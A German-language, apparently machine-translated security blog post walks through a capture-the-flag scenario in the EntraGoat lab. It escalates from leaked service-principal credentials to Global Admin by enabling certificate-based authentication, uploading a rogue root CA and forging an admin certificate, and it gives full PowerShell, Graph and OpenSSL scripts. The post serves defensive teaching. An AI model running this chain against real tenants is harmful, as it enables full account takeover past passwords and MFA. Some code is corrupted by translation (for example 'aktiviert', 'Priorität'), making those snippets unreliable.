Jonathan Elkabas und Tomer Nahum

Anmerkung der Redaktion

Dieses Szenario ist Teil einer Reihe von Beispielen, die die Verwendung von EntraGoat, unserer Entra ID-Simulationsumgebung. Einen Überblick über EntraGoat und seinen Wert können Sie hier lesen.


Zertifikat-Umgehungsberechtigung-Root-Zugriff gewährt

EntraGoat Szenario 6 beschreibt eine Technik der Privilegienerweiterung in Microsoft Entra ID, bei der der Spieler mit wenig privilegierten Anmeldeinformationen beginnt und durch die Verkettung von falsch konfigurierten Dienstprinzipien, übermäßig zulässigen Anwendungsrollen und legitimen zertifikatsbasierten Authentifizierungsfunktionen (CBA) Zugriff auf den globalen Administrator erhält.

Mithilfe von durchgesickerten Anmeldeinformationen von einem alten Dienstprinzipal schwenkt der Angreifer durch die eigene Identität, missbraucht privilegierte Berechtigungen, um mandantenweite Einstellungen zu ändern, aktiviert CBA über einen Benutzer, der für Privileged Identity Management (PIM) für Gruppen berechtigt ist, und lädt eine gefälschte Stammzertifizierungsstelle hoch. Dies führt zu einer passwortlosen, MFA-kompatiblen Imitation eines Global Admins und ermöglicht die vollständige Übernahme und Persistenz des Mandanten.


Übersicht der Angriffswege

  1. Die Geschichte vom ersten Fußtritt: Der Angreifer verschafft sich hartkodierte Client-Anmeldeinformationen für einen veralteten Automatisierungsdienst, der in ein altes PowerShell-Repository eingebettet ist.
  2. Pivot über Eigentum: Es wird festgestellt, dass der Legacy-Dienstprinzipal einen anderen Dienstprinzipal besitzt. Verwendung von Application.ReadWrite.OwnedByfügte der Angreifer dem zweiten Dienstprinzipal ein Geheimnis hinzu und drehte ihn um.
  3. Missbrauch der Mieterkonfiguration: Der zweite Dienstherr hat Organization.ReadWrite.All Berechtigung. Mit dieser Berechtigung können Sie zwar keine Benutzer oder Rollen verwalten, aber Sie können mandantenweite Konfigurationen ändern, einschließlich der Authentifizierungseinstellungen.
  4. Aktivierung der zertifikatsbasierten Authentifizierung (CBA) über gruppenbasierte PIM-Zuweisung: Ein Benutzer, auf den der Angreifer Zugriff hat, wird als PIM-berechtigt für eine Gruppe eingestuft, die das Authentication Policy Administrator Rolle. Nachdem er die Mitgliedschaft aktiviert hat, aktiviert der Angreifer CBA im gesamten Mandanten.
  5. Aufbau von Vertrauen mit einer bösartigen Stammzertifizierungsstelle (CA): Der Angreifer generiert eine betrügerische Stammzertifizierungsstelle und lädt sie auf den Mandanten hoch, wodurch er sie zu einem vertrauenswürdigen Identitätsanbieter macht.
  6. Identitätswechsel von Global Admin: Schließlich fertigt der Angreifer ein Client-Zertifikat für ein Global Admin-Konto an, signiert es mit der bösartigen Root CA und verwendet CBA zur Authentifizierung, um eine passwortlose, MFA-kompatible Authentifizierung zu erreichen.

Angriffsfluss

Abbildung 1 zeigt den Ablauf dieses Angriffs.

Abbildung 1. Ablauf des Angriffsszenarios Certificate Bypass Authority-Root Access Granted

Warum Sicherheitsteams die Fehlkonfigurationen von Entra ID verstehen müssen

Diese Angriffskette nutzt sowohl häufige Fehlkonfigurationen als auch grundlegende Designmuster in Entra ID aus, die in realen Umgebungen oft missverstanden oder vernachlässigt werden.

  • Die Schulden aus der Automatisierung sind real. Service-Principals, die für die Automatisierung erstellt wurden, können nach der Bereitstellung unverwaltet bleiben. Im Laufe der Zeit kann dies zu übermäßigen Berechtigungen und Eigentumsrechten an anderen Service-Principals führen, wodurch versteckte Berechtigungsketten entstehen. Darüber hinaus bleiben schlecht verwaltete Geheimnisse - wie z.B. fest kodierte Anmeldeinformationen in Skripten - oft bestehen, sobald "alles funktioniert", was zu langlebigen und unüberwachten Zugriffspfaden führt.
  • Der Besitz von Dienstprinzipalen gewährt Rechte zur Verwaltung von Berechtigungen. Viele Unternehmen prüfen die Besitzketten von Dienstprinzipalen nicht und sind sich der Auswirkungen nicht bewusst.
  • Berechtigungen existieren nicht isoliert. Der Angriff stützt sich auf eine Kombination von Berechtigungen, die einzeln betrachtet in ihrem Umfang begrenzt erscheinen. In Kombination ermöglichen sie jedoch Konfigurationsänderungen, die es erlauben, sich als privilegierte Identität auszugeben und legitime Authentifizierungsmechanismen zu umgehen:
    • Application.ReadWrite.OwnedBy ermöglicht die Verwaltung eigener Service-Principals durch eine aufrufende Anwendung.
    • Organization.ReadWrite.All gewährt die Möglichkeit, orgaweite Konfigurationseinstellungen zu ändern.
    • Authentication Policy Administrator (oder Policy.ReadWrite.AuthenticationMethod) aktiviert und konfiguriert CBA.
  • Und schließlich durchbricht CBA die Vertrauensgrenze des Mandanten. Sobald sie konfiguriert ist, wird die externe Zertifizierungsstelle zu einem gültigen Identitätsaussteller für jeden Benutzer im Mandanten.

HINWEIS: Die theoretischen Hintergründe zum Anwendungsmodell von Entra ID sowie zur zertifikatsbasierten Authentifizierung sowohl für die interaktive Benutzeranmeldung als auch für OAuth-Client-Assertion-Flows wurden im Abschnitt Szenario 2 Blogbeitrag behandelt. Wir empfehlen, diesen Beitrag zuerst zu lesen, um den richtigen Kontext zu erhalten.


Wie man die Ausnutzung der zertifikatsbasierten Authentifizierung erkennt und abwehrt

Fehlkonfigurationen, wie sie in diesem Szenario ausgenutzt werden, werden oft übersehen, können aber zu einer vollständigen Kompromittierung eines Entra ID Tenants führen. Wir helfen Unternehmen, Angriffswege zu erkennen, bevor sie missbraucht werden können, Semperis Lösungen Indikatoren für Gefährdungen (IOEs) und Indikatoren für Kompromisse (IOCs), um gefährliche Standardeinstellungen und Fehlkonfigurationen zu erkennen und davor zu warnen. Dazu gehören ein Indikator für die Persistenz der zertifikatsbasierten Authentifizierung und zusätzliche Prüfungen, die die Sicherheitslage von Entra ID-Umgebungen bewerten.


Vertiefung des Szenarios: Schritt für Schritt durch die Lösung gehen

Schauen wir uns die Schritte an, die notwendig sind, um eine betrügerische Stammzertifizierungsstelle zu erstellen, die den gesamten Entra ID-Mieter freischalten kann.


Schritt 1: Erstes Standbein mit fest kodierten Anmeldedaten des Dienstherrn

Wir beginnen mit einem durchgesickerten Geheimnis, das in einem alten PowerShell-Repository "gefunden" wurde, das zu einem veralteten Automatisierungsskript gehört (siehe Abbildung 2 ).

Abbildung 2. Ein durchgesickertes Geheimnis löst die Einrichtung des Szenarios aus

Mit diesen Anmeldedaten authentifizieren wir uns als Auftraggeber des Dienstes, wie Abbildung 3 zeigt.

Abbildung 3. Authentifizierung als veralteter Dienstprinzipal

Die Validierung bestätigt die erfolgreiche Authentifizierung für Legacy-Automation-Service. Wir überprüfen die der Identität zugewiesenen Berechtigungen, und eine wichtige Berechtigung sticht hervor (Abbildung 4).

Abbildung 4. Die Application.ReadWrite.OwnedBy die der Anwendungsidentität zugewiesene Berechtigung

Die Application.ReadWrite.OwnedBy Berechtigung gibt der aufrufenden App die Möglichkeit, dieselben Operationen auszuführen wie Application.ReadWrite.All zu verwalten (read/update/delete), aber nur für Anwendungsobjekte, für die der Aufrufer ausdrücklich als Eigentümer aufgeführt ist. Dies ermöglicht eng umrissene Automatisierungsszenarien, ohne eine breite verzeichnisweite Anwendungsverwaltung offenzulegen.

Wie in Szenario 1ermöglicht das Eigentum an einem Dienstprinzipal die Verwaltung von Anmeldeinformationen, einschließlich des Hinzufügens von Client-Geheimnissen. Um potenzielle Ziele zu erkunden, zählen wir alle Service-Principals im Mandanten auf und prüfen, welche im Besitz der aktuell authentifizierten Identität sind(Abbildung 5).

Abbildung 5. Aufzählung von Service-Principals im Entra ID-Mandanten

Eigentümer des Dienstes gefunden: DataSync-Production.

Wissenswertes: Es ist nicht möglich, einen Service-Prinzipal als Eigentümer eines anderen Service-Prinzipals über die Azure Portal UI oder das Entra Admin Center festzulegen, obwohl die Eigentümerschaft dort sichtbar ist(Abbildung 6). Nur Benutzeridentitäten sind erlaubt.

Abbildung 6. Anzeige der Eigentümerschaft von Dienstprinzipalen im Entra Admin Center

Wir haben den Besitz des Service-Principals im Setup-Skript konfiguriert, indem wir direkt die Graph-API aufgerufen haben, die diesen Vorgang unterstützt:

      $OwnerParams = @{
    "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$($LegacySP.Id)"
}
New-MgServicePrincipalOwnerByRef -ServicePrincipalId $DataSyncSP.Id -BodyParameter $OwnerParams

Schritt 2: Bewertung des Pivot-Ziels

Jetzt müssen wir prüfen, ob der Dienstprinzipal, den wir besitzen, ein brauchbarer Pfad für die Privilegieneskalation ist. Wir können die einfache Get-ServicePrincipalRoles Funktion von Szenario 1 um die Zuweisungen von Verzeichnisrollen aufzuzählen:

      function Get-ServicePrincipalRoles {
    param([object]$ServicePrincipal)
    Write-Host "Checking roles for: $($ServicePrincipal.DisplayName)"
    $roleAssignments = Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($ServicePrincipal.Id)'" -ErrorAction SilentlyContinue
    $roles = @()
    
    if ($roleAssignments) {
        foreach ($assignment in $roleAssignments) {
            $roleDefinition = Get-MgRoleManagementDirectoryRoleDefinition -UnifiedRoleDefinitionId $assignment.RoleDefinitionId
            $roles += $roleDefinition
            Write-Host "   Role: $($roleDefinition.DisplayName)" -ForegroundColor Green
        }
    } else {
        Write-Host "   No directory roles assigned"
    }
    return $roles
}

Wie Abbildung 7 zeigt, werden keine Verzeichnisrollen zugewiesen.

Abbildung 7. Erste Aufzählung, die keine Verzeichnisrollen zurückgibt

Aber wie wir inzwischen wissen, sind Verzeichnisrollen nicht der einzige Vektor mit Dienstprinzipien. Was ist mit App-Rollen(Abbildung 8)?

Abbildung 8. Aufzählung von App-Rollen

Wie in anderen Szenarien, Directory.Read.All wurde wahrscheinlich nur gewährt, um die Aufzählungsphase zu vereinfachen. Noch interessanter ist, dass der Dienstherr auch die Organization.ReadWrite.All App-Rolle. Diese Berechtigung wird oft übersehen, hat aber sehr wichtige Funktionen. Sie gewährt zwar keine Kontrolle über Benutzer, Gruppen oder Rollen, aber sie ermöglicht die Änderung von mieterweiten Einstellungen wie Unternehmensbranding und Authentifizierungsrichtlinien. Wie in dem ausgezeichneten SpecterOps Forschungsblog Passwortlose Persistenz und Privilegieneskalation in Azure1, diese Berechtigung reicht aus, um eine neue Root-CA zum Entra ID-Mandanten hinzuzufügendie dann gefälschte Benutzerzertifikate für die zertifikatsbasierte Anmeldung signieren kann.

Unser nächster Schritt besteht nun darin, dem Dienstprinzipal ein Client-Geheimnis hinzuzufügen:

      $secretDescription = "Totally-Legit-EntraGoat-Secret-$(Get-Date -Format 'yyyyMMdd-HHmmss')"
$passwordCredential = @{
    DisplayName = $secretDescription
    EndDateTime = (Get-Date).AddYears(1)
}

$newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $dataSyncSP.Id -PasswordCredential $passwordCredential
$dataSyncSecret = $newSecret.SecretText # für später speichern

Schritt 3: Umstellung auf den DataSync-Production-Dienstprinzipal

Obwohl wir jetzt die Möglichkeit haben, eine "vertrauenswürdige" Stammzertifizierungsstelle hochzuladen, können wir sie nicht für die Impersonation nutzen, da wir CBA nicht aktivieren können (Abbildung 9), die entweder die Policy.ReadWrite.AuthenticationMethod Erlaubnis oder die Authentication Policy Administrator Rolle - keine davon ist der DataSync-Production Dienstherr.

Abbildung 9. CBA ist verboten

Nachdem wir die Aufzählungsoptionen unter der Identität dieses SPs ausgeschöpft haben, befinden wir uns in einer Sackgasse. Keine CBA-Aktivierung.

Aber WARTEN: Haben wir uns angeschaut, was unser kompromittierter Benutzer, terence.mckenna, hat Zugang zu?


Schritt 4: Verlagerung des Schwerpunkts auf den Benutzerkontext

Ist Terence Mitglied in einer Gruppe(Abbildung 10)?

Abbildung 10. Erkundung der möglichen Gruppenzugehörigkeiten von Terence

Nichts außer der Standard-Mietergruppe.

Besitzt die Gruppe etwas(Abbildung 11)?

Abbildung 11. Erkundung von Terence' möglichem Gruppenbesitz

Keine. Irgendwelche eigenen Serviceprinzipien(Abbildung 12)?

Abbildung 12. Keine Terence-eigenen Service-Prinzipale

Immer noch nichts. Gibt es einen geeigneten PIM für Gruppenzuweisungen(Abbildung 13)?

Abbildung 13. Endlich, Gruppenberechtigung für Terence

Ja! Terence ist für den Authentication Policy Managers Gruppe.

Lassen Sie uns prüfen, welche Rollen die Authentication Policy Managers Gruppe zugeordnet ist (Abbildung 14).

Abbildung 14. Überprüfen der Rollen für die Authentication Policy Managers Gruppe

Das sind sehr privilegierte Rollen.

  • Application Administrator ermöglicht die volle Kontrolle über alle Anwendungen im Mandanten, einschließlich der Möglichkeit, jedem Dienstprinzipal Geheimnisse oder Zertifikate hinzuzufügen. (Wir haben diese Rolle absichtlich eingebaut, um mehrere Angriffswege unterschiedlicher Komplexität zu unterstützen).
  • Authentication Policy Administratorgibt uns die Möglichkeit, CBA zu aktivieren - genau die Kontrolle, die uns fehlte, um mit der Angriffskette voranzukommen.

HINWEIS: Da dies (derzeit) das letzte Szenario in der EntraGoat-Serie ist, haben wir absichtlich einige dieser Sackgassen-Aufzählungsschritte eingefügt, um den Denkprozess hinter der Erkennung von Berechtigungen zu veranschaulichen. Die systematische Erkundung sowohl von Dienstprinzipalen als auch von Benutzeridentitäten ist entscheidend für die Identifizierung praktikabler Eskalationspfade in Entra ID.


Schritt 5: Aktivieren der PIM-Zuweisung

Nun, da wir die Anspruchsberechtigung für das Authentication Policy Managers Gruppe können wir die PIM-Zuweisung mithilfe der Graph-API selbst aktivieren:

      $activationBody = @{
    accessId = "member"
    principalId = $currentUser.Id
    groupId = $authGroup.Id
    action = "selfActivate"
    scheduleInfo = @{
        startDateTime = (Get-Date).ToUniversalTime().ToString("o")
        expiration = @{
            type = "afterDuration"
            duration = "PT8H"
        }
    }
    justification = "Need to configure authentication policies for support tickets"
} 

Invoke-MgGraphRequest -Method POST `
    -Uri "https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/assignmentScheduleRequests" `
    -Body $activationBody -ContentType "application/json"

Nach einer kurzen Ausbreitungsverzögerung können wir die Gruppenmitgliedschaft erneut überprüfen, um den aktiven Status zu bestätigen(Abbildung 15).

Abbildung 15. Bestätigung, dass wir eine aktive Gruppenmitgliedschaft eingerichtet haben

Schritt 6: Aktivieren der zertifikatsbasierten Authentifizierung

Wenn die Gruppenmitgliedschaft aktiviert ist, können wir die mieterweite CBA aktivieren. Zuerst fragen wir das aktuelle CBA-Konfigurationsobjekt ab(Abbildung 16).

Abbildung 16. Das ist ein schöner Funktionsname

Dann aktivieren wir CBA mit der folgenden Nutzlast für die aktualisierte Konfiguration:

      $updateParams = @{
    Status = "aktiviert"
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    certificateUserBindings = @(
        @{
            x509CertificateField = "PrincipalName"
            userProperty = "userPrincipalName"
            Priorität = 1
        }
    )
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateSingleFactor"
        rules = @()
    }
}
   
Update-MgPolicyAuthenticationMethodPolicyAuthenticationMethodConfiguration `
    -AuthenticationMethodConfigurationId "X509Certificate" -BodyParameter $updateParams

Und wir überprüfen, dass CBA jetzt aktiviert ist(Abbildung 17).

Abbildung 17. CBA aktiviert

HINWEIS: Diese Änderung kann auch interaktiv über das Entra Admin Center vorgenommen werden:

  • Anmeldung bei https://entra.microsoft.com mit dem Konto von Terence
  • Navigieren Sie zu: Entra ID → Authentifizierungsmethoden → Richtlinien → Zertifikatsbasierte Authentifizierung
  • Status auf Aktivieren umschalten, wie Abbildung 18 zeigt
Abbildung 18. CBA aktiviert über das Entra Admin Center

Je nach den Richtlinien des Mieters kann für Terence bei der ersten Anmeldung eine MFA-Einrichtung erforderlich sein.


Schritt 7: Hochladen der bösartigen Stammzertifizierungsstelle

Jetzt, da CBA aktiviert ist, kehren wir zur DataSync-Production Service Principal und authentifizieren sich mit dem Client-Geheimnis, das wir ihm zuvor hinzugefügt haben, um eine Root-CA zu den vertrauenswürdigen CAs des Mandanten hinzuzufügen.

      Connect-MgGraph -TenantId $tenantId -ClientSecretCredential $dsCred

HINWEIS: Das Erstellen, Konfigurieren und Hochladen einer Stammzertifizierungsstelle und eines Client-Zertifikats in Entra ID über CLI ist ein mehrstufiger Prozess mit mehreren Fehlerquellen. Entra ID erzwingt ein bestimmtes Format für das UPN-Feld in der SAN-Erweiterung, das PowerShell nur mit Mühe mit der erforderlichen OID generieren kann. Um diese Fallstricke zu vermeiden, verwenden wir OpenSSL, um sowohl die Stammzertifizierungsstelle als auch das Client-Zertifikat zu generieren.

Wir beginnen mit dem Einrichten der CA-Struktur mit dem folgenden Skript:

      $opensslBinary = "C:\Program Files\OpenSSL-Win64\bin\openssl.exe"

$adminUPN = (Get-MgUser -Filter "startswith(userPrincipalName,'EntraGoat-admin-s6')").UserPrincipalName

# Setup CA directory structure
$caWorkspace = "$env:TEMP\EntraGoat-CA"
if (Test-Path $caWorkspace) {
    Set-Location $env:TEMP
    Remove-Item $caWorkspace -Recurse -Force
}
@("$caWorkspace", "$caWorkspace\ca", "$caWorkspace\ca\issued") | ForEach-Object {
    New-Item -Path $_ -ItemType Directory -Force | Out-Null
}

# Initialize database (as OpenSSL requires specific format)
New-Item -Path "$caWorkspace\ca\index.db" -ItemType File -Force | Out-Null
"01" | Out-File "$caWorkspace\ca\serial" -Encoding ASCII -NoNewline

# Root Certificate Authority configuration
$caConfig = @"
[ ca ]
default_ca = entragoat_ca

[ entragoat_ca ]
dir = ./ca
certs = `$dir
new_certs_dir = `$dir/issued
database = `$dir/index.db
serial = `$dir/serial
RANDFILE = `$dir/.rand
certificate = `$dir/entragoat-root.cer
private_key = `$dir/entragoat-root.key
default_days = 730
default_crl_days = 30
default_md = sha256
preserve = no
policy = trust_no_one_policy

[ trust_no_one_policy ]
countryName = optional
stateOrProvinceName = optional
localityName = optional
organizationName = optional
organizationalUnitName = optional
commonName = optional
emailAddress = optional

[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# Client certificate configuration with SAN extension
$clientConfig = @"
[req]
x509_extensions = user_cert
req_extensions = v3_req

[ user_cert ]
subjectAltName = @alt_names

[ v3_req ]
subjectAltName = @alt_names

[alt_names]
otherName=1.3.6.1.4.1.311.20.2.3;UTF8:$adminUPN
"@

# output configuration to files
$caConfig | Out-File "$caWorkspace\ca.conf" -Encoding ASCII
$clientConfig | Out-File "$caWorkspace\client.conf" -Encoding ASCII

Set-Location $caWorkspace

# Generate root CA private key
& $opensslBinary genrsa -out ca\entragoat-root.key 4096

# Create root certificate for entra trust
& $opensslBinary req -new -x509 -days 3650 -key ca\entragoat-root.key -out ca\entragoat-root.cer -subj "/CN=EntraGoat Evil Root CA/O=EntraGoat Security/C=US"

Write-Output "Root CA certificate path: $caWorkspace\ca\entragoat-root.cer" # upload this to the tenant

Nachdem die bösartige CA-Infrastruktur vorbereitet wurde, wird der Inhalt von $caWorkspace\ca\ sollte den Dateien ähneln, die Abbildung 19 zeigt.

Abbildung 19. Ausgabe an $caWorkspace\ca\

Jetzt können wir unser benutzerdefiniertes Stammzertifikat in die Liste der vertrauenswürdigen Zertifizierungsstellen von Entra ID hochladen:

      # Load the root certificate
$rootCA = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("$caWorkspace\ca\entragoat-root.cer")

$caAuthority = @{
    isRootAuthority = $true
    certificate = [System.Convert]::ToBase64String($rootCA.GetRawCertData())
}

# get existing CBA configuration
try {
    $existingConfigs = Invoke-MgGraphRequest -Method GET `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"
    
    if ($existingConfigs.value -and $existingConfigs.value.Count -gt 0) {
        # Update existing config
        $configId = $existingConfigs.value[0].id
        $existingCAs = $existingConfigs.value[0].certificateAuthorities
        
        # Add new CA to existing ones
        $updatedCAs = $existingCAs + @($caAuthority)
        
        $updateBody = @{
            certificateAuthorities = $updatedCAs
        } | ConvertTo-Json -Depth 3
        
        $response = Invoke-MgGraphRequest -Method PATCH `
            -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration/$configId" `
            -Body $updateBody `
            -ContentType "application/json"
    } else {
        throw "No existing configuration found"
    }
}
catch {
    # Create new CBA configuration
    $body = @{
        certificateAuthorities = @($caAuthority)
    } | ConvertTo-Json -Depth 3
    
    $response = Invoke-MgGraphRequest -Method POST `
        -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration" `
        -Body $body `
        -ContentType "application/json"
}

Überprüfen Sie, ob der Upload erfolgreich war und das Zertifikat nun vom Mieter als vertrauenswürdig eingestuft wird:

      $configs = Invoke-MgGraphRequest -Method GET `
    -Uri "https://graph.microsoft.com/v1.0/organization/$tenantId/certificateBasedAuthConfiguration"

$uploadSuccess = $false
if ($configs.value -and $configs.value.Count -gt 0) {
    foreach ($ca in $configs.value[0].certificateAuthorities) {
        $certBytes = [Convert]::FromBase64String($ca.certificate)
        $cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($certBytes)
        
        if ($cert.Thumbprint -eq $rootCA.Thumbprint) {
            Write-Output "[+] Root CA successfully uploaded to tenant"
            Write-Output "    Thumbprint: $($cert.Thumbprint)"
            Write-Output "    Subject: $($cert.Subject)"
            $uploadSuccess = $true
            break
        }
    }
}

if (-not $uploadSuccess) {
    Write-Output "[-] Failed to verify root CA upload. Please check the configuration." 
}

Sehr gut! Die Stamm-CA ist nun hochgeladen(Abbildung 20).

Abbildung 20. Bestätigung des erfolgreichen Uploads der Root-CA

Da die abtrünnige CA akzeptiert und als vertrauenswürdig eingestuft wurde, können wir nun ein Client-Zertifikat für eine beliebige Identität ausstellen (einschließlich der EntraGoat-admin-s6 Benutzer) und signieren sie mit unserer neuen und völlig legitimen Root-CA:

      # Erzeugen Sie den privaten Schlüssel des Client-Zertifikats und die Signierungsanforderung.
& $opensslBinary req -new -sha256 -config client.conf -newkey rsa:4096 -nodes -keyout "$adminUPN.key" -out "$adminUPN.csr" -subj "/C=US/ST=Washingaot/L=EvilDistrict/O=EntraGoat/OU=Security/CN=$adminUPN"

# Signieren Sie das Client-Zertifikat mit der Root-CA
& $opensslBinary ca -batch -md sha256 -config ca.conf -extensions v3_req -out "$adminUPN.crt" -infiles "$adminUPN.csr"

# In das PFX-Format für die Windows-Installation konvertieren
& $opensslBinary pkcs12 -inkey "$adminUPN.key" -in "$adminUPN.crt" -export -out "$adminUPN.pfx" -password pass:EntraGoat123!

Schritt 8: Passwortlose Authentifizierung bei GA

So vervollständigen Sie den Pfad der privilegierten Eskalation:

1. Installieren Sie die ausgegebene .pfx Zertifikat befindet sich in $caWorkspace auf Ihrem lokalen Rechner (Abbildung 21). Das Passwort für den Import lautet EntraGoat123!.

Abbildung 21. Installieren der .pfx Zertifikat

2. Folgen Sie den Anweisungen des Zertifikatsimport-Assistenten. Bestätigen Sie nach der Installation, dass das Zertifikat in certmgr.msc unter Persönlich → Zertifikate, als Abbildung 22 zeigt.

Abbildung 22. Bestätigung unseres bösen Root-Zertifikats

3. Navigieren Sie zu https://portal.azure.com oder https://entra.microsoft.com/.
4. Geben Sie den UPN für das EntraGoat-admin-s6 Konto.
5. Wenn Sie dazu aufgefordert werden, wählen Sie das installierte Zertifikat (Abbildung 23).

Abbildung 23. Auswahl des schlechten Stammzertifikats

Schritt 9: Fehlerbehebung bei der CBA- und MFA-Bindung

Wenn die Authentifizierung mit der Meldung Zertifikatvalidierung fehlgeschlagen fehlschlägt, liegt das wahrscheinlich an falsch konfigurierten Zertifikatsparametern oder SAN/OID-Formatierungsfehlern.

Wenn Sie jedoch erfolgreich die Eingabeaufforderung Angemeldet bleiben? erreichen und dann zu Wählen Sie eine Methode zur Anmeldung, weitergeleitet werden, bedeutet dies, dass:

  • Das Zertifikat ist gültig
  • CBA ist aktiviert
  • Die Authentifizierungsbindungsrichtlinie des Mieters stuft Zertifikate jedoch als Ein-Faktor-Authentifizierung ein
  • Und Mieterrichtlinien erfordern eine mehrstufige Authentifizierung für den privilegierten Zugriff

In diesem Fall wird der Standardmoduswert x509CertificateAuthenticationDefaultMode auf Ein-Faktor eingestellt ist x509CertificateSingleFactor und aus diesem Grund erfüllt CBA allein nicht die Anforderungen der MFH (Abbildung 24) und kann nicht für den Zugriff auf privilegierte Konten verwendet werden.

Abbildung 24. MFA ist weiterhin erforderlich

Um dieses Problem zu lösen, muss ein Authentication Policy Administrator können den standardmäßigen Bindungsmodus auf x509CertificateMultiFactorund ermöglicht es CBA, die Anforderungen der Makrofinanzhilfe zu erfüllen (Abbildung 25).

Abbildung 25. Konfigurieren der MFA-Konformität

Wir können CBA mit dem Sicherheitskontext des Benutzers Terence einstellen:

      # Get current config
$current = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"

# Check current mode
$current.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

# change to MultiFactor if needed
$params = @{
    "@odata.type" = "#microsoft.graph.x509CertificateAuthenticationMethodConfiguration"
    id = "X509Certificate"
    certificateUserBindings = $current.certificateUserBindings
    authenticationModeConfiguration = @{
        x509CertificateAuthenticationDefaultMode = "x509CertificateMultiFactor"
        x509CertificateDefaultRequiredAffinityLevel = "low"
        rules = @()
    }
    includeTargets = $current.includeTargets
    excludeTargets = $current.excludeTargets
    state = "enabled"
    issuerHintsConfiguration = $current.issuerHintsConfiguration
    crlValidationConfiguration = $current.crlValidationConfiguration
    certificateAuthorityScopes = @()
}

# Apply changes
Invoke-MgGraphRequest -Method PATCH -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate" -Body ($params | ConvertTo-Json -Depth 10)

# Verify change
$updated = Invoke-MgGraphRequest -Method GET -Uri "https://graph.microsoft.com/beta/policies/authenticationmethodspolicy/authenticationMethodConfigurations/X509Certificate"
$updated.authenticationModeConfiguration.x509CertificateAuthenticationDefaultMode

Alternative (GUI): Sie können dies auch über das Entra Admin-Portal konfigurieren(Abbildung 26). Folgen Sie diesem Pfad:

Entra ID → Authentifizierungsmethoden → Richtlinien → Zertifikatsbasierte Authentifizierung → Konfigurieren

Setzen Sie unter Authentifizierungsbindung die Standard-Authentifizierungsstärke auf Mehrfaktor.

Abbildung 26. Konfigurieren der MFA-Konformität im Entra Admin-Portal

Mit dieser Richtlinie kann das gefälschte Client-Zertifikat nun verwendet werden, um sich als EntraGoat-admin-s6vollständig passwortlos und MFA-kompatibel, wodurch die Angriffskette vervollständigt wird und der globale Administrator Zugriff auf die Flagge über die Benutzeroberfläche erhält (Abbildung 27).

Abbildung 27. Erfasste Flagge

Sobald das Szenario abgeschlossen ist, führen wir das Bereinigungsskript aus, um den ursprünglichen Zustand des Mandanten wiederherzustellen.


Lektion gelernt: Fehlkonfigurationen öffnen Angriffswege

Dieses Szenario zeigt, wie verkettete Fehlkonfigurationen bei Dienstprinzipien, App-Rollenzuweisungen und Authentifizierungseinstellungen als Waffe eingesetzt werden können, um eine vollständige Kompromittierung des Entra ID-Mandanten zu erreichen, ohne jemals mit Benutzerpasswörtern zu interagieren.

Es beginnt mit durchgesickerten Anmeldeinformationen für einen niedrigprivilegierten Legacy-Dienstprinzipal, was bei Automatisierungswucherungen häufig vorkommt, und eskaliert durch den Missbrauch von übersehenen Berechtigungen von Application.ReadWrite.OwnedBy und Organization.ReadWrite.All.

Indem er zwischen den eigenen Dienstprinzipalen wechselt und eine PIM-basierte Gruppenzuweisung aktiviert, aktiviert der Angreifer CBA und lädt eine bösartige Root-CA auf den Mandanten hoch.

Schließlich stellt der Angreifer ein gefälschtes Client-Zertifikat für das Global Admin-Konto aus, ändert die Regel für die Authentifizierungsbindung von Zertifikaten des Mandanten, um die MFA-Anforderungen zu erfüllen, und meldet sich mit diesem Zertifikat über CBA an, umgeht also Passwörter und MFA.

Dieser Angriffspfad deckt übersehene Lücken in den Vertrauensgrenzen und der Identitätsarchitektur auf und zeigt, wie die Identität zum neuen Perimeter geworden ist, anfällig für mehrschichtige Fehlkonfigurationen und unbeabsichtigte Berechtigungsketten.


Entdecken Sie alle EntraGoat-Herausforderungen


Endnote

  1. https://posts.specterops.io/passwordless-persistence-and-privilege-escalation-in-azure-98a01310be3f

Haftungsausschluss

Dieser Inhalt wird ausschließlich zu Bildungs- und Informationszwecken bereitgestellt. Er soll das Bewusstsein und die verantwortungsvolle Behebung von Sicherheitslücken fördern, die auf Systemen bestehen können, die Sie besitzen oder zu deren Prüfung Sie berechtigt sind. Die unbefugte Nutzung dieser Informationen zu böswilligen Zwecken, zur Ausbeutung oder zum unrechtmäßigen Zugriff ist strengstens untersagt. Semperis befürwortet oder duldet keine illegalen Aktivitäten und lehnt jede Haftung ab, die aus dem Missbrauch des Materials entsteht. Darüber hinaus übernimmt Semperis keine Garantie für die Richtigkeit oder Vollständigkeit der Inhalte und haftet nicht für Schäden, die sich aus der Verwendung der Inhalte ergeben.